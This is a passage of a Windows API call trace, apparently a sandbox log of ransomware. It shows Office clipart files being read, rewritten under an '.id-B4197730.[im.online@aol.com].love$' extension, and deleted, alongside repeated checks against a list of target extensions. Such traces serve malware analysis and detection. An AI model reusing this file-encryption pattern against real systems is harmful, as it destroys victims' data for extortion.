[0231.904] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.904] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0231.905] GetLastError () returned 0x0 [0231.905] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x25ee, lpOverlapped=0x0) returned 1 [0231.907] WriteFile (in: hFile=0x3bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x25f0, lpOverlapped=0x0) returned 1 [0231.909] ReadFile (in: hFile=0x47c, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.909] WriteFile (in: hFile=0x3bc, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.909] SetEndOfFile (hFile=0x3bc) returned 1 [0231.909] CloseHandle (hObject=0x3bc) returned 1 [0231.909] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.909] SetEndOfFile (hFile=0x47c) returned 1 [0232.062] CloseHandle (hObject=0x47c) returned 1 [0232.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0232.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0232.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.169] lstrlenW (lpString=".doc") returned 4 [0232.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.169] lstrlenW (lpString=".docx") returned 5 [0232.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.169] lstrlenW (lpString=".pdf") returned 4 [0232.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.169] lstrlenW (lpString=".xls") returned 4 [0232.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.169] lstrlenW (lpString=".xlsx") returned 5 [0232.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.169] lstrlenW (lpString=".ppt") returned 4 [0232.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.169] lstrlenW (lpString=".zip") returned 4 [0232.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.170] lstrlenW (lpString=".rar") returned 4 [0232.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString=".bz2") returned 4 [0232.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString=".7z") returned 3 [0232.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.170] lstrlenW (lpString=".dbf") returned 4 [0232.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.170] lstrlenW (lpString=".1cd") returned 4 [0232.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.170] lstrlenW (lpString=".jpg") returned 4 [0232.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.170] lstrlenW (lpString=".doc") returned 4 [0232.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString=".docx") returned 5 [0232.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.170] lstrlenW (lpString=".pdf") returned 4 [0232.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.170] lstrlenW (lpString=".xls") returned 4 [0232.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.170] lstrlenW (lpString=".xlsx") returned 5 [0232.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.171] lstrlenW (lpString=".ppt") returned 4 [0232.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.171] lstrlenW (lpString=".zip") returned 4 [0232.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.171] lstrlenW (lpString=".rar") returned 4 [0232.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString=".bz2") returned 4 [0232.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString=".7z") returned 3 [0232.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.171] lstrlenW (lpString=".dbf") returned 4 [0232.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.171] lstrlenW (lpString=".1cd") returned 4 [0232.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 68 [0232.171] lstrlenW (lpString=".jpg") returned 4 [0232.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.171] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.171] lstrlenW (lpString="BD19988_.WMF") returned 12 [0232.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.305] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=18304) returned 1 [0232.305] CloseHandle (hObject=0x46c) returned 1 [0232.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0232.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.840] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.840] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0232.858] GetLastError () returned 0x0 [0232.858] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x4780, lpOverlapped=0x0) returned 1 [0232.861] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4790, lpOverlapped=0x0) returned 1 [0232.862] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.862] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.862] SetEndOfFile (hFile=0x480) returned 1 [0232.863] CloseHandle (hObject=0x480) returned 1 [0232.863] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.863] SetEndOfFile (hFile=0x488) returned 1 [0232.869] CloseHandle (hObject=0x488) returned 1 [0232.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0232.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.871] lstrlenW (lpString=".doc") returned 4 [0232.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.871] lstrlenW (lpString=".docx") returned 5 [0232.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.871] lstrlenW (lpString=".pdf") returned 4 [0232.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.871] lstrlenW (lpString=".xls") returned 4 [0232.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.871] lstrlenW (lpString=".xlsx") returned 5 [0232.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.871] lstrlenW (lpString=".ppt") returned 4 [0232.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.871] lstrlenW (lpString=".zip") returned 4 [0232.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.871] lstrlenW (lpString=".rar") returned 4 [0232.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.871] lstrlenW (lpString=".bz2") returned 4 [0232.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.871] lstrlenW (lpString=".7z") returned 3 [0232.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.872] lstrlenW (lpString=".dbf") returned 4 [0232.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.872] lstrlenW (lpString=".1cd") returned 4 [0232.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.872] lstrlenW (lpString=".jpg") returned 4 [0232.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.872] lstrlenW (lpString=".doc") returned 4 [0232.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.872] lstrlenW (lpString=".docx") returned 5 [0232.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.872] lstrlenW (lpString=".pdf") returned 4 [0232.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.872] lstrlenW (lpString=".xls") returned 4 [0232.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.872] lstrlenW (lpString=".xlsx") returned 5 [0232.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.872] lstrlenW (lpString=".ppt") returned 4 [0232.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.872] lstrlenW (lpString=".zip") returned 4 [0232.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.873] lstrlenW (lpString=".rar") returned 4 [0232.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.873] lstrlenW (lpString=".bz2") returned 4 [0232.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.873] lstrlenW (lpString=".7z") returned 3 [0232.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.873] lstrlenW (lpString=".dbf") returned 4 [0232.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.873] lstrlenW (lpString=".1cd") returned 4 [0232.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0232.873] lstrlenW (lpString=".jpg") returned 4 [0232.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.873] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.873] lstrlenW (lpString="BL00012_.WMF") returned 12 [0232.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.874] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9818) returned 1 [0232.874] CloseHandle (hObject=0x488) returned 1 [0232.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x220 [0232.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.875] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.875] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0232.876] GetLastError () returned 0x0 [0232.876] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x265a, lpOverlapped=0x0) returned 1 [0232.878] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2660, lpOverlapped=0x0) returned 1 [0232.880] ReadFile (in: hFile=0x488, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.880] WriteFile (in: hFile=0x480, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.880] SetEndOfFile (hFile=0x480) returned 1 [0232.880] CloseHandle (hObject=0x480) returned 1 [0232.880] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.880] SetEndOfFile (hFile=0x488) returned 1 [0232.883] CloseHandle (hObject=0x488) returned 1 [0232.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0232.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0232.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.885] lstrlenW (lpString=".doc") returned 4 [0232.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.885] lstrlenW (lpString=".docx") returned 5 [0232.885] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.885] lstrlenW (lpString=".pdf") returned 4 [0232.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.885] lstrlenW (lpString=".xls") returned 4 [0232.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.885] lstrlenW (lpString=".xlsx") returned 5 [0232.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.885] lstrlenW (lpString=".ppt") returned 4 [0232.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.885] lstrlenW (lpString=".zip") returned 4 [0232.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.885] lstrlenW (lpString=".rar") returned 4 [0232.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.885] lstrlenW (lpString=".bz2") returned 4 [0232.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.885] lstrlenW (lpString=".7z") returned 3 [0232.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.885] lstrlenW (lpString=".dbf") returned 4 [0232.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.886] lstrlenW (lpString=".1cd") returned 4 [0232.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.886] lstrlenW (lpString=".jpg") returned 4 [0232.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.886] lstrlenW (lpString=".doc") returned 4 [0232.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString=".docx") returned 5 [0232.886] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0232.886] lstrlenW (lpString=".pdf") returned 4 [0232.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString=".xls") returned 4 [0232.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.886] lstrlenW (lpString=".xlsx") returned 5 [0232.886] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0232.886] lstrlenW (lpString=".ppt") returned 4 [0232.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.886] lstrlenW (lpString=".zip") returned 4 [0232.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.886] lstrlenW (lpString=".rar") returned 4 [0232.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString=".bz2") returned 4 [0232.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString=".7z") returned 3 [0232.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.886] lstrlenW (lpString=".dbf") returned 4 [0232.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.887] lstrlenW (lpString=".1cd") returned 4 [0232.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 68 [0232.887] lstrlenW (lpString=".jpg") returned 4 [0232.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.887] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0232.887] lstrlenW (lpString="BL00045_.WMF") returned 12 [0232.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.887] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=7862) returned 1 [0232.888] CloseHandle (hObject=0x488) returned 1 [0232.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x220 [0232.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0232.888] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.888] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program 